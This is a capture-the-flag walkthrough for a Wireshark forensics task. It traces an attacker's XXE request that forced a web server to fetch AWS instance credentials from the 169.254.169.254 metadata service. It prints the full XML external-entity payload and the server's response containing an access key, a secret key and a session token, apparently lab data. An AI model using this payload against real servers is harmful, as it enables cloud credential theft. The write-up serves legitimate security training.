Terminal: IMDS-XXE-and-Other-Abbreviations

Web Ring Area

Objective

Recover the Web Ring

Task 4: IMDS, XXE, and Other Abbreviations

Difficulty: 2/5 Christmas Trees Description: The last step in this attack was to use XXE to get secret keys from the IMDS service. What URL did the attacker force the server to fetch?

Solution

Apply the following Wireshark search filter.

ip.src == 10.12.42.16 and ip.dst == 18.222.86.32 and http and !(http.response.code == 404)

Scroll to the bottom the the Wireshark packets window, then right-click packet number 32932 and select 'Follow > HTTP Stream'. This will open the HTTP Stream window, revealing the following information.

POST /proc HTTP/1.1
Host: www.toteslegit.us
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.37) Gecko/20100101 Firefox/12.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: SiteCookie=eyJjb21wYW55IjoiTGVnaXRCcmVhZCIsImxldmVsIjoiYWRtaW4iLCJ1c2VyIjoiYm9iIn0.Yz21Ew.idT7R5CEcAB_uJD221WwmKYG5QM
Content-Type: application/xml
Content-Length: 226
  
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY id SYSTEM "http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"> ]>
<product><productId>&id;</productId></product>
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.8.10
Date: Wed, 05 Oct 2022 16:48:57 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1595
Connection: close
  
<html><body>
<pre><product><productId>{
"Code" : "Success",
"LastUpdated" : "2022-10-05T16:43:21Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAV4AVRXQVJ267LD2Q",
"SecretAccessKey" : "OpGR4v70ygZ3RFf4WTzjNL45pQayRwZgBUgd0LJT",
"Token" : "IQoJb3JpZ2luX2VjECEaCXVzLWVhc3QtMiJHMEUCIHDsZXiUuHIUrLNH5pAeMiv4aUMVIScjwbo1E9LctQ3rAiEA819eJ24mILbxM3eELK2xrgskHxsRmrza/jIj3y96/sgqs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dS/If20Ed6HvGcAONep0A/FrtZ62EWX4HmeYZ4A==",
"Expiration" : "2022-10-05T23:00:40Z"
}</productId></product></pre>
</body></html>

The fetched URL is:

http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Return to the Web Ring Area to submit this URL in the badge.